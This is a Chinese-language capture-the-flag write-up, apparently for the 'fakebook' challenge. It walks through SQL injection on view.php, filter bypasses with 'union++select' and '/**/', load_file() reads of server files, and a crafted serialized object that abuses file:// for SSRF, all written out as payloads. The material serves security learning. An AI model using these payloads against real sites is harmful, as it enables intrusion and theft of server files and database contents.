打开后注册一个账户,进入个人主页
发现上面存在注入点,先试一下改点数字
发现存在报错
尝试输入
view.php?no=1 and 1=1#
view.php?no=1 and 1=2#
第一个显示正常,第二个报错,确定存在注入
开始注入的测试,第一步查 存在的字段,利用order by联合查询,发现5不存在,所以应该为4位字段数。
view.php?no=1 order by 5#
接着利用联合查询语句想找哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=2):
好的被过滤了。
尝试一下用+字符绕过
view.php?no=2 union++select 1,2,3,4#
啊这,就成功了嘛
发现2可以回显。
构造payload看一下我们的当前数据库用户
view.php?no=2 union++select 1,user(),3,4#
从别的师傅那边学到
mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。这巧了不是,条件全都有。
然后flag就出来了
view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
这应该算是一个非常规解
-----------------------------分割线--------------------------------------------------
还有另一种方式,就是慢慢的注入
接着拿一下数据库的库名
view.php?no=2 union++select 1,database(),3,4#
利用库名获取表名
view.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
接着利用库名找表的字段
view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
接着爆破字段
/view.php?no=-6 union/**/select 1,data,3,4 from users#
发现存在一个序列化的数
大概的思路为,我们输入的信息被保存为序列化,读取的时候会从数据库中取出并反序列化,然后显示在blog界面。
function get($url)获取的blog连接,如果连接失败就404,否则读取文件信息。
所以我们可以通过反序列化来实现ssrf读取任意文件,构造我们想要的路径,然后为了绕过正则,不从注册登录的地方下手,直接人为构造联合查询返回语句,data字段在第四个位置。
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
将base64解码后
得到flag
#参考文章
https://blog.csdn.net/qq_41500251/article/details/105383065